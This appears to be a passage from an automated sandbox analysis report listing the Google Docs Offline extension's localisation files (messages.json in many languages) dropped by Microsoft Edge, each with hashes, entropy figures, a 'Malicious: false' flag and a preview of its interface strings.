Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
